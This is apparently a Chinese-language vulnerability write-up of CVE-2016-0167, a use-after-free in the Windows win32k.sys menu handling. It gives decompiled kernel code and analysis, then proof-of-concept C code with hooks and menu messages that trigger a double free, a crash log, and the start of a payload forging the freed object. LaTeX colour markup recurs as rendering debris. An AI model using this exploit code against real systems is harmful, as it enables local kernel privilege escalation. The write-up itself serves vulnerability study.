CVE-2016-0167
0x1 前言
Win7sp1_x86系统的win32k.sys图形驱动中存在很多释放后重用的漏洞。本篇分析的CVE相较于之前分析的CVE-2015-2546相同的地方是释放后重用的对象是tagPOPUPMENU,不同的是CVE-2016-0167结合同步和异步的消息请求完成UAF的攻击利用,还是很值得学习的!
0x2 漏洞描述
Microsoft Windows Vista SP2、Windows Server 2008 SP2 和 R2 SP1、Windows 7 SP1、Windows 8.1、Windows Server 2012 Gold 和 R2、Windows RT 8.1、Windows 10 Gold 和 1511 中的内核模式驱动程序允许本地用户通过一个精心设计的应用程序,又名“Win32k 特权提升漏洞”,与 CVE-2016-0143 和 CVE-2016-0165 不同。
0x3 影响版本
windows_10:-:*:*:*:*:*:*:*
windows_10:1511:*:*:*:*:*:*:*
windows_7:*:sp1:*:*:*:*:*:*
windows_8.1:*:*:*:*:*:*:*:*
windows_rt_8.1:-:*:*:*:*:*:*:*
windows_server_2008:*:sp2:*:*:*:*:*:*
windows_server_2008:r2:sp1:*:*:*:*:*:*
windows_server_2012:-:*:*:*:*:*:*:*
windows_server_2012:r2:*:*:*:*:*:*:*
windows_vista:*:sp2:*:*:*:*:*:*
0x4 评级
7.8 高危 | CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0x5 漏洞分析
■ xxxMNDestroyHandler逆向分析
漏洞发生在win32k.sys的 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler函数中
void __stdcall xxxMNDestroyHandler(tagPOPUPMENU *PopupMenu)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( PopupMenu )
{
if ( PopupMenu->spwndNextPopup )
{
spwndPopupMenu = PopupMenu->spwndPopupMenu;
if ( !spwndPopupMenu )
spwndPopupMenu = PopupMenu->spwndNextPopup;
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = &ptl;
v9 = spwndPopupMenu;
++spwndPopupMenu->head.cLockObj;
xxxSendMessage(spwndPopupMenu, 0x1E4, 0, 0);
ThreadUnlock1();
}
spmenu = PopupMenu->spmenu;
if ( spmenu )
{
posSelectedItem = PopupMenu->posSelectedItem;
if ( posSelectedItem >= 0 && posSelectedItem < spmenu->cItems )
spmenu->rgItems[posSelectedItem].fState &= 0xFFFFFF7F;
}
if ( (*PopupMenu & 0x2000) != 0 )
_KillTimer(PopupMenu->spwndPopupMenu, 65534);
if ( (*PopupMenu & 0x4000) != 0 )
_KillTimer(PopupMenu->spwndPopupMenu, 0xFFFF);
if ( (*PopupMenu & 0x200000) != 0 )//fSendUninit
{
spwndNotify = PopupMenu->spwndNotify;
if ( spwndNotify )
{
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = &ptl;
v9 = spwndNotify;
++spwndNotify->head.cLockObj;
v5 = PopupMenu->spmenu;
if ( v5 )
v5 = v5->head.h;
xxxSendMessage(PopupMenu->spwndNotify, 0x125, v5, ((*PopupMenu >> 2) & 1) << 13 << 16);//WM_UNINITMENUPOPUP
ThreadUnlock1();
}
}
v6 = PopupMenu->spwndPopupMenu;
*PopupMenu |= 0x8000u;
if ( v6 )
v6[1].head.h = 0;
if ( (*(PopupMenu + 2) & 1) != 0 ) // 是否延迟释放
{
v7 = PopupMenu->ppopupmenuRoot;
if ( v7 )
*v7 |= 0x20000u;//置位 ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(PopupMenu);
}
}
}
- @line:30 如果 fSendUninit 被置位,则向弹出式菜单对象的 spwndNotify 成员发送 消息号为 0x125 (WM_UNINITMENUPOPUP) 的消息。而 fSendUninit 标志随着弹出式菜单创建的时候被置位,所以在执行 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler } xxxMNDestroyHandler 时是有可能会进入到用户进程上下文的。
- 函数接收 tagPOPUPMENU 对象,并释放 tagPOPUPMENU 对象的 spwndPopupMenu 成员 @line:16 。
■ MNFreePopup逆向分析
void __stdcall MNFreePopup(tagPOPUPMENU *PopupMenu)
{
tagWND *v1; // eax
if ( PopupMenu == PopupMenu->ppopupmenuRoot )
MNFlushDestroyedPopups(PopupMenu, 1);
v1 = PopupMenu->spwndPopupMenu;
if ( v1 && (v1->fnid & 0x3FFF) == 668 && PopupMenu != &gpopupMenu )
v1[1].head.h = 0;
HMAssignmentUnlock(&PopupMenu->spwndPopupMenu);
HMAssignmentUnlock(&PopupMenu->spwndNextPopup);
HMAssignmentUnlock(&PopupMenu->spwndPrevPopup);
UnlockPopupMenu(PopupMenu, &PopupMenu->spmenu);
UnlockPopupMenu(PopupMenu, &PopupMenu->spmenuAlternate);
HMAssignmentUnlock(&PopupMenu->spwndNotify);
HMAssignmentUnlock(&PopupMenu->spwndActivePopup);
if ( PopupMenu == &gpopupMenu )
gdwPUDFlags &= 0xFF7FFFFF;
else
ExFreePoolWithTag(PopupMenu, 0);
}
在 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup } MNFreePopup函数中,调用 H M A s s i g n m e n t U n l o c k \textcolor{cornflowerblue}{HMAssignmentUnlock } HMAssignmentUnlock解除弹出式菜单的各个成员的赋值锁 @line:10,最后调用 E x F r e e P o o l W i t h T a g \textcolor{cornflowerblue}{ExFreePoolWithTag} ExFreePoolWithTag释放弹出式菜单对象的内存 @line:20。
由于 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler中调用 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup之前有可能会进入到用户进程上下文,攻击者可以在用户进程上下文中释放弹出式菜单对象,然后设法将其内存重新申请回来,并向其中构造恶意数据,随后调用到 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup时,对弹出式菜单对象的某个成员域进行解锁时,将导致内核的执行流直接进入到存放攻击代码的用户进程空间中。
■ HMAssignmentUnlock逆向分析
H M A s s i g n m e n t U n l o c k \textcolor{cornflowerblue}{HMAssignmentUnlock} HMAssignmentUnlock函数每调用一次就会减少一次位于弹出式菜单对象头部结构中的对象引用计数,当引用计数为0时调用 H M U n l o c k O b j e c t I n t e r n a l \textcolor{cornflowerblue}{HMUnlockObjectInternal} HMUnlockObjectInternal销毁对象。
_THRDESKHEAD *__stdcall HMUnlockObject(_THRDESKHEAD *h)
{
_THRDESKHEAD *result; // eax
result = h;
if ( h->cLockObj-- == 1 )
result = HMUnlockObjectInternal(h);
return result;
}
H M U n l o c k O b j e c t I n t e r n a l \textcolor{cornflowerblue}{HMUnlockObjectInternal} HMUnlockObjectInternal根据参数h,在全局句柄类型信息表gahti中找到相应的处理函数,例如当前销毁的是窗口对象,则相应的处理函数就是 x x x D e s t r o y W i n d o w \textcolor{cornflowerblue}{xxxDestroyWindow} xxxDestroyWindow。
■ MNFlushDestroyedPopups
tagPOPUPMENU **__stdcall MNFlushDestroyedPopups(tagPOPUPMENU *popupmenu, int fUnlock)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v2 = popupmenu;
for ( result = &popupmenu->ppmDelayedFree; *result; result = &v2->ppmDelayedFree )
{
v4 = *result;
if ( (**result & 0x8000) != 0 )//fDestroyed
{
v5 = *result;
*result = v4->ppmDelayedFree;
MNFreePopup(v5);
}
else if ( fUnlock )
{
*v4 &= 0xFFFEFFFF;//fDelayedFree
*result = (*result)->ppmDelayedFree;
}
else
{
v2 = *result;
}
}
return result;
}
-
@line:9 M N F l u s h D e s t r o y e d P o p u p s \textcolor{cornflowerblue}{MNFlushDestroyedPopups} MNFlushDestroyedPopups函数遍历tagPOPUPMENU链表,并为已经置位fDestroyed的tagPOPUPMENU对象调用 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup函数释放之。
-
为没有置位fDestroyed的tagPOPUPMENU,根据fUnlock条件为真时清除fDelayedFree标志,然后跳过之。fUnlock在 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup函数中被设置为真值。
■ xxxMNDestroyHandler简要执行流程图
■ xxxTrackPopupMenuEx逆向分析
int __stdcall xxxTrackPopupMenuEx(tagMENU *pmenu, int dwFlags, int xLeft, int yTop, tagWND *pwnd, TPMPARAMS *lpTpm)
{
...
if ( (dwFlags & 2) != 0 )
keystate = _GetKeyState(2);
else
keystate = _GetKeyState(1);
v15 = (keystate >> 15) & 1;
...
v36 = v15 & 1;
v16 = xxxCreateWindowEx(
385,
0x8000,
0x8000,
0,
-2139095040,
xLeft,
yTop,
100,
100,
((pmenu->fFlags & 0x40000000) != 0 ? pwnd : 0),
0,
pwnd->hModule,
0,
1537,
0);
popupmenu = v16;
if ( !v16 )
return 0;
...
LABEL_57:
...
xxxMNEndMenuState(1);
...
xxxWindowEvent(6u, popupmenu, -4, 0, 0);
menustate->fFlags = menustate->fFlags & 0xFFFFFFF7 | (8 * v36);//fButtonDown的置位取决于v36
v25 = xxxMNLoop(RootPopupMenu, menustate, 0, 0);
if ( (menustate->fFlags & 0x100) == 0 ) // fModelessMenu
goto LABEL_57;
...
}
x x x T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{xxxTrackPopupMenuEx} xxxTrackPopupMenuEx函数处理的是菜单的弹出操作。
-
@line:11 通过调用 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx创建弹出菜单对象,并显示弹出菜单。
-
@line:31 向弹出菜单对象发送EVENT_SYSTEM_MENUPOPUPSTART事件消息。
-
@line:33 调用 x x x M N L o o p \textcolor{cornflowerblue}{xxxMNLoop} xxxMNLoop处理弹出式根菜单的异步消息
需要注意的是 x x x C r e a t e W i n d o w E x 函数内部在菜单对象创建完成后会向其发送一个 W M _ N C C R E A T E 的消息。 \textcolor{green}{需要注意的是\textcolor{cornflowerblue}{xxxCreateWindowEx}函数内部在菜单对象创建完成后会向其发送一个WM\_NCCREATE的消息。} 需要注意的是xxxCreateWindowEx函数内部在菜单对象创建完成后会向其发送一个WM_NCCREATE的消息。
■ xxxMNLoop逆向分析
int __stdcall xxxMNLoop(tagPOPUPMENU *popmenu, tagMENUSTATE *menustate, LONG lParam, BOOL fDblClk)
{
...
menustate->fFlags |= 4u;
menustate->cmdLast = 0;
v4 = gptiCurrent;
menustate->ptMouseLast = gptiCurrent->ptLast;
v4->pq->QF_flags &= 0xFFFFFFBF;
fMenuStarted = (menustate->fFlags & 1) == 0; // fMenuStarted
v25 = 1;
if...
v11 = menustate->fFlags;
if ( (v11 & 0x100) != 0 ) // fModelessMenu是否被置位
{
xxxMNReleaseCapture();
DecSFWLockCount();
sub_BF85BF10();
return 0;
}
while ( 1 )
{
if...
if ( ExitMenuLoop(menustate, popmenu) ) // 判断是否可以退出while循环,退出的条件为fDestroyed被置位和fInsideMenuLoop未被置位
goto Over;
if...
if...
if...
if...
if ( !xxxHandleMenuMessages(menustate, &v19, menustate, popmenu) )// 内核菜单对象的消息循环
{
xxxTranslateMessage(&v19, 0);
xxxDispatchMessage(&v19);
}
...
}
menustate->fFlags &= 0xFFFFFEFB;//清除fInsideMenuLoop标志
xxxEndMenuLoop(menustate, popmenu);
...
}
- @line:13 判断当前弹出式菜单状态是否为模态,不是则退出 x x x M N L o o p \textcolor{cornflowerblue}{xxxMNLoop} xxxMNLoop函数,可见 x x x M N L o o p \textcolor{cornflowerblue}{xxxMNLoop} xxxMNLoop函数专门用来处理模态菜单的异步消息的。
- @line:20 是内核模态菜单对象的消息循环,也是最核心的部分。实际上对于模态菜单的异步消息由 x x x H a n d l e M e n u M e s s a g e s \textcolor{cornflowerblue}{xxxHandleMenuMessages} xxxHandleMenuMessages进行接收,由 x x x D i s p a t c h M e s s a g e \textcolor{cornflowerblue}{xxxDispatchMessage} xxxDispatchMessage进行分发处理。
- @line:23 当前模态菜单要被销毁(fDestroyed被置位)或者不再有异步消息处理(fInsideMenuLoop取消置位)时退出消息循环。
- @line:37 最后调用 x x x E n d M e n u L o o p \textcolor{cornflowerblue}{xxxEndMenuLoop} xxxEndMenuLoop函数进行收尾工作,包括关闭当前菜单的层叠样式,释放菜单对象的内存等。
■ 一条通往xxxMNDestroyHandler的路径分析
当用户向菜单窗口发出 MN_CANCELMENUS(0x1E6) 消息时, x x x M e n u W i n d o w P r o c \textcolor{cornflowerblue}{xxxMenuWindowProc} xxxMenuWindowProc函数接收并调用 x x x M N C a n c e l \textcolor{cornflowerblue}{xxxMNCancel} xxxMNCancel进行处理
case 0x1E6u: // MN_CANCELMENUS
xxxMNCancel(tagMenuState, hdc, lprc, 0);
int __stdcall xxxMNCancel(tagMENUSTATE *menustate, HDC hdc, LPRECT lprc, int a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
pGlobalPopupMenu = menustate->pGlobalPopupMenu;
state = *menustate->pGlobalPopupMenu;
menustate->fFlags &= 0xFFFFFFF3; // 取消fInsideMenuLoop和fButtonDown标志
*pGlobalPopupMenu |= 0x8000u; // 置位fDestroyed
v17 = (state >> 8) & 1;
fIsTrackPopup = ((state >> 3) & 1);
v19 = (state >> 2) & 1;
v7 = state & 1;
v18 = ((state >> 11) & 1) == 0;
result = *pGlobalPopupMenu;
if ( gptiCurrent == menustate->ptiMenuStateOwner && (result & 0x80000) == 0 )
{
v9 = pGlobalPopupMenu->spwndPopupMenu;
*pGlobalPopupMenu = result | 0x80000;
v16[0] = gptiCurrent->ptl;
gptiCurrent->ptl = v16;
v16[1] = v9;
if ( v9 )
++*(v9 + 4);
xxxMNCloseHierarchy(pGlobalPopupMenu, menustate);
xxxMNSelectItem(pGlobalPopupMenu, menustate, -1);
menustate->fFlags &= 0xFFFFFFFE;
v10 = pGlobalPopupMenu->spwndNotify;
v15[0] = gptiCurrent->ptl;
gptiCurrent->ptl = v15;
tagWND = v10;
v15[1] = v10;
if ( v10 )
++v10->head.cLockObj;
xxxMNReleaseCapture();
if ( fIsTrackPopup )
{
if ( (menustate->fFlags & 0x100) == 0 && gpqForeground && *(gpqForeground + 9) && gpqForeground == gptiCurrent->pq )
xxxWindowEvent(0x80000005, *(gpqForeground + 9), 0, 1, 33);
xxxWindowEvent(7u, pGlobalPopupMenu->spwndPopupMenu, -4, 0, 0);
xxxDestroyWindow(pGlobalPopupMenu->spwndPopupMenu);
}
if...
ThreadUnlock1();
result = ThreadUnlock1();
}
return result;
}
-
@line:7 函数会清除菜单状态对象的fInsideMenuLoop和fButtonDown标志
-
@line:8 函数会置位根弹出式菜单的fDestroyed
-
@line:24 函数调用 x x x M N C l o s e H i e r a r c h y \textcolor{cornflowerblue}{xxxMNCloseHierarchy} xxxMNCloseHierarchy关闭当前菜单的层叠状态
-
@line:25 调用 x x x M N S e l e c t I t e m \textcolor{cornflowerblue}{xxxMNSelectItem} xxxMNSelectItem取消选中菜单项
-
@line:35 如果弹出式菜单的fIsTrackPopup已置位,则调用 x x x D e s t r o y W i n d o w \textcolor{cornflowerblue}{xxxDestroyWindow} xxxDestroyWindow销毁当前的菜单窗口对象 @line:40。而在 x x x D e s t r o y W i n d o w \textcolor{cornflowerblue}{xxxDestroyWindow} xxxDestroyWindow处理WM_FINALDESTROY消息时,函数 x x x M e n u W i n d o w P r o c \textcolor{cornflowerblue}{xxxMenuWindowProc } xxxMenuWindowProc调用 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler } xxxMNDestroyHandler销毁弹出菜单对象。
0x6 漏洞利用
■ 漏洞触发
在系统发送WM_UNINITMENUPOPUP消息时,设法让同样的弹出式菜单对象再次调用 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler函数,弹出式菜单对象在第二次调用 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler时就会被销毁,然后执行流返回到第一次调用 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler的上下文时会继续访问弹出式菜单对象的一些成员,由于弹出式菜单对象已被销毁,于是触发UAF。
要使得同样的弹出式菜单进行二次 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler调用,我们可以通过设置一个WH_CALLWNDPROC类型的钩子函数,并在函数中对相同菜单对象执行 D e s t r o y W i n d o w \textcolor{cornflowerblue}{DestroyWindow} DestroyWindow函数来实现。
■ 利用条件
而在执行 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler函数之前需要满足一些条件:
-
tagPOPUPMENU 的 fSendUninit 必须被置位
-
tagPOPUPMENU 的 fDelayedFree 必须没有被置位
-
tagPOPUPMENU 必须存在关联的通知窗口对象spwndNotify,这就要求该通知窗口对象是通过正规菜单弹出通道所创建的,而不能是调用 C r e a t e W i n d o w E x \textcolor{cornflowerblue}{CreateWindowEx} CreateWindowEx等函数手动创建菜单类型MENUCLASS的窗口对象。
■ 清除延迟释放标志fDelayedFree
因为根据利用条件中第3条的限制,我们只能调用 C r e a t e M e n u \textcolor{cornflowerblue}{CreateMenu} CreateMenu这种正规的方式创建菜单,默认fDelayedFree标志是被置位的。为了同时满足条件2,就要考虑如何清除fDelayedFree标志。根据之前的分析,在 M N F l u s h D e s t r o y e d P o p u p s \textcolor{cornflowerblue}{MNFlushDestroyedPopups} MNFlushDestroyedPopups中,目标弹出式菜单对象须存在于延迟释放表ppmDelayedFree中,没有置位fDestroyed,并且fUnlock为真时,将会清除fDelayedFree标志。而在MNFreePopup中调用 M N F l u s h D e s t r o y e d P o p u p s \textcolor{cornflowerblue}{MNFlushDestroyedPopups} MNFlushDestroyedPopups时,其传入的fUnlock参数恒为真,剩下的就得保证 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup调用 M N F l u s h D e s t r o y e d P o p u p s \textcolor{cornflowerblue}{MNFlushDestroyedPopups} MNFlushDestroyedPopups时,延迟释放链表ppmDelayedFree中存在未被置位fDestroyed的弹出式菜单对象,所以问题转变为如何清除fDestroyed标志。
■ 清除标志fDestroyed
方法:使用 T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{TrackPopupMenuEx} TrackPopupMenuEx函数弹出某个子菜单,此时执行流进入到内核的 x x x M N O p e n H i e r a r c h y \textcolor{cornflowerblue}{xxxMNOpenHierarchy} xxxMNOpenHierarchy函数,趁子菜单相关对象还没有与父级菜单相互关联时,用户进程发送菜单终止或取消消息,使菜单进入预终止状态。此时就会异步执行 x x x M N C a n c e l \textcolor{cornflowerblue}{xxxMNCancel} xxxMNCancel函数,使当前已存在于延迟释放链表中的所有弹出式菜单对象的成员标志位fDestroyed在弹出式菜单销毁处理函数中被置位,而尚未完成初始化的子弹出式菜单由于还未与父级菜单的关联,因此其fDestroyed标志不会被置位。
当新弹出的子菜单完成初始化时,菜单整体继而进入 x x x M N E n d M e n u S t a t e \textcolor{cornflowerblue}{xxxMNEndMenuState} xxxMNEndMenuState函数,其中又调用到 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup函数,在此之前目标弹出式菜单的fDestroyed未被置位,所以后续的fDelayedFree标志也会被清除,到此满足了漏洞利用的所有条件。
void __stdcall xxxMNEndMenuState(int a1)
{
...
v1 = gptiCurrent;
v2 = gptiCurrent->pMenuState;
if ( !v2->dwLockCount )
{
MNEndMenuStateNotify(&gptiCurrent->pMenuState->pGlobalPopupMenu);
if ( v2->pGlobalPopupMenu )
{
if ( a1 )
MNFreePopup(v2->pGlobalPopupMenu);
else
*v2->pGlobalPopupMenu &= 0xFFFEFFFF;
}
...
}
x x x M N O p e n H i e r a r c h y \textcolor{cornflowerblue}{xxxMNOpenHierarchy} xxxMNOpenHierarchy中会调用 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx创建子弹出式菜单对象,在 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx内部,子弹出式菜单对象创建完毕会调用 x x x S e n d M e s s a g e \textcolor{cornflowerblue}{xxxSendMessage} xxxSendMessage函数发送WM_NCCREATE(0x81)消息,用户进程可以在挂钩函数中接收这个消息,然后向当前弹出式菜单对象发送菜单取消消息即可构成上述的流程,达到不置位fDestroyed的目的。 这需要使用到模态上下文菜单的弹出终止与同步异步消息请求配合实现。 \textcolor{green}{这需要使用到模态上下文菜单的弹出终止与同步异步消息请求配合实现。} 这需要使用到模态上下文菜单的弹出终止与同步异步消息请求配合实现。
■ POC开发细节
- 创建并关联根菜单和子菜单
HMENU MN_Root = CreateMenu();
HMENU MN_Sub = CreateMenu();
AppendMenuA(MN_Root, MF_MOUSESELECT | MF_POPUP, (UINT_PTR)MN_Sub, "item");
AppendMenuA(MN_Sub, MF_MOUSESELECT | MF_POPUP, 0, "item");
如果不通过 S e t M e n u I n f o 改变菜单对象的属性时,默认属性就是模态类型。 \textcolor{green}{如果不通过\textcolor{cornflowerblue}{SetMenuInfo}改变菜单对象的属性时,默认属性就是模态类型。} 如果不通过SetMenuInfo改变菜单对象的属性时,默认属性就是模态类型。
- 创建一个主窗口用来承载菜单
WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.lpfnWndProc = (WNDPROC)MainWndProc;
wcs.lpszMenuName = NULL;
wcs.cbWndExtra = 0;
wcs.hInstance = GetModuleHandleA(0);
wcs.lpszClassName = L"Main";
if (!RegisterClassEx(&wcs)) {
printf("[!]Error:%d\n",__LINE__-2);
return 0;
}
HWND hWndMain = CreateWindowExW(
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"Main",
NULL,
WS_VISIBLE,
0,0,1,1,NULL,0,GetModuleHandleA(0),0
);
- 设置WH_CALLWNDPROC类型的挂钩函数和EVENT_SYSTEM_MENUPOPUPSTART事件监听函数
//设置消息钩子
g_hHook = SetWindowsHookExW(WH_CALLWNDPROC, WndHookProc, GetModuleHandleA(0), GetCurrentThreadId());
//设置事件钩子程序
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
WndEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
- 调用 T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{TrackPopupMenuEx} TrackPopupMenuEx弹出根菜单,并进入消息循环
TrackPopupMenuEx(MN_Root, 0, 0, 0, hWndMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0) && !g_bIsAttacked)
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
随即执行流进入到内核函数 x x x T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{xxxTrackPopupMenuEx} xxxTrackPopupMenuEx,处理弹出菜单操作。菜单弹出并显示在屏幕时,系统就会调用 x x x W i n d o w E v e n t \textcolor{cornflowerblue}{xxxWindowEvent} xxxWindowEvent发出EVENT_SYSTEM_MENUPOPUPSTART型事件通知,接着就被我们设置在用户进程中的事件监听函数 W n d E v e n t P r o c \textcolor{cornflowerblue}{WndEventProc} WndEventProc所截获。
- 在 W n d E v e n t P r o c \textcolor{cornflowerblue}{WndEventProc} WndEventProc函数中,首先记录菜根菜单和子菜单的句柄,后向当前菜单对象发送消息模拟鼠标选择菜单项
static
VOID
CALLBACK
WndEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
) {
if (g_bIsAttacked)return;
if (g_Counts == 0) {
g_hRootMenu = (HMENU)hwnd;
}
else if (g_Counts == 1) {
g_hSubMenu = (HMENU)hwnd;
}
++g_Counts;
//模拟鼠标选择菜单项
SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
当向模态菜单对象异步发送MN_OPENHIERARCHY类型消息时,该消息会被系统插入线程的消息队列中,并在函数 x x T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{xxTrackPopupMenuEx} xxTrackPopupMenuEx稍后调用的 x x x M N L o o p \textcolor{cornflowerblue}{xxxMNLoop} xxxMNLoop消息循环中处理该请求。MN_OPENHIERARCHY类型的消息最终由 x x x M N O p e n H i e r a r c h y \textcolor{cornflowerblue}{xxxMNOpenHierarchy} xxxMNOpenHierarchy进行处理。
在 x x x M N O p e n H i e r a r c h y \textcolor{cornflowerblue}{xxxMNOpenHierarchy} xxxMNOpenHierarchy中依然会使用 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx去创建和显示子菜单,所以和之前一样,这里将产生第二个EVENT_SYSTEM_MENUPOPUPSTART型事件通知。但在发送事件消息之前,系统还会发送WM_NCCREATE类型的消息,这将会被用户进程中的消息钩子函数捕获并处理。
这时,在消息钩子函数中先记录下当前的菜单句柄g_hMenuDest,向根菜单对象以同步方式发送取消菜单消息(MN_CANCELMENUS),内核将会进入 x x x M N L o o p \textcolor{cornflowerblue}{xxxMNLoop} xxxMNLoop处理模态菜单窗口的消息,最终调用 x x x M N C a n c e l \textcolor{cornflowerblue}{xxxMNCancel} xxxMNCancel处理菜单取消的请求,最终将会使用 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler函数处理根菜单对象的销毁任务,而由于此时根菜单对象的fDelayedFree早已被置位,所以不会立即被释放,系统将其留到后续的 x x T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{xxTrackPopupMenuEx} xxTrackPopupMenuEx中调用 x x x M N E n d M e n u S t a t e \textcolor{cornflowerblue}{xxxMNEndMenuState} xxxMNEndMenuState来处理。后续流程就像之前分析的那样,在 M N F l u s h D e s t r o y e d P o p u p s \textcolor{cornflowerblue}{MNFlushDestroyedPopups} MNFlushDestroyedPopups中,将会把菜单对象的延迟释放标志清零。接着 W n d E v e n t P r o c \textcolor{cornflowerblue}{WndEventProc} WndEventProc再向主窗口异步发送一个自定义的消息WM_FREE_HEAP,通知主窗口释放g_hMenuDest对应的菜单对象。
static LRESULT CALLBACK WndHookProc(INT code, WPARAM wParam, LPARAM lParam) {
PCWPSTRUCT spCwp = (PCWPSTRUCT)lParam;
if (!g_bIsAttacked) {
if (spCwp->message == WM_NCCREATE &&
g_hMenuDest == NULL &&
g_hRootMenu && !g_hSubMenu)
{
g_hMenuDest =(HMENU) spCwp->hwnd;
printf("[+]WM_NCCREATE\n");
printf("[+]g_hMenuDest = 0x%p\n", g_hMenuDest);
SendMessageW((HWND)g_hRootMenu, MN_CANCELMENUS, 0, 0);
PostMessageW(g_hWndMain, WM_FREE_HEAP, 0, 1);
}
else if (spCwp->message == WM_UNINITMENUPOPUP &&
g_bIsFirst &&
g_MN_Sub == (HMENU)spCwp->wParam) {
printf("[+]WM_UNINITMENUPOPUP\n");
printf("[+]spCwp->wParam = 0x%p\n", spCwp->wParam);
g_bIsFirst = FALSE;
DestroyWindow((HWND)g_hMenuDest);
}
}
return CallNextHookEx(g_hHook,code,wParam,lParam);
}
菜单窗口处理程序接收到WM_FREE_HEAP消息时,销毁之前记录的子菜单g_hMenuDest。这将会使内核执行 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler,我们视这次执行为第一次。根据之前的分析,这时系统会发送WM_UNINITMENUPOPUP(0x125)的消息,后被我们设置的钩子函数捕获。在钩子函数中对此消息的处理就是再次调用 D e s t r o y W i n d o w \textcolor{cornflowerblue}{DestroyWindow} DestroyWindow销毁相同的子菜单g_hMenuDest,使其第二次进入到 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler。第二次执行时,系统同样也会发送0x125消息,但是我们在钩子函数中加以区别,防止无限重入。因为此时同样的菜单对象,其延迟释放标志被清除,所以就会被立即释放内存。最后函数返回到第一次执行继而导致双重释放,系统BSOD。
win32k!xxxMNDestroyHandler+0xf7:
9de01585 8b4608 mov eax,dword ptr [esi+8]
kd> !pool @esi
Pool page fe375160 region is Paged session pool
fe375000 is not a valid large pool allocation, checking large session pool...
fe375150 size: 8 previous size: 0 (Allocated) Frag
*fe375158 size: 40 previous size: 8 (Free ) *Uspm Process: 86628030
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
dd @esi
ReadVirtual: fe375160 not properly sign extended
fe375160 fe379160 00000000 00000000 00000000
fe375170 00000000 00000000 00000000 00000000
fe375180 fe379160 00000000 00000000 00000000
fe375190 00000000 86628030 46630008 746e6647
- 该漏洞本质上是个UAF类型的漏洞,想要成功利用,还需精心伪造tagPOPUPMENU结构体,防止函数返回第一次执行后,继续执行 M N F r e e P o p u p \textcolor{cornflowerblue}{MNFreePopup} MNFreePopup引发的崩溃。
- 首先是重用释放的内存,通过 S e t C l a s s L o n g P t r W ( ) \textcolor{cornflowerblue}{SetClassLongPtrW()} SetClassLongPtrW(),为窗口设置GCL_MENUNAME类型的大小相同数据即可
DWORD payload[0xD] = { 0 };
memset(payload, 'A',sizeof(payload));
payload[0] &= ~(1 << 16);//消除延迟释放标志
payload[1] = (DWORD)g_spMem;//spwndNotify
payload[2] = (DWORD)g_spMem;//spwndPopupMenu
payload[3] = (DWORD)g_spNextPopupMenu;//spwndNextPopup
payload[4] = (DWORD)g_spMem;//spwndPrevPopup
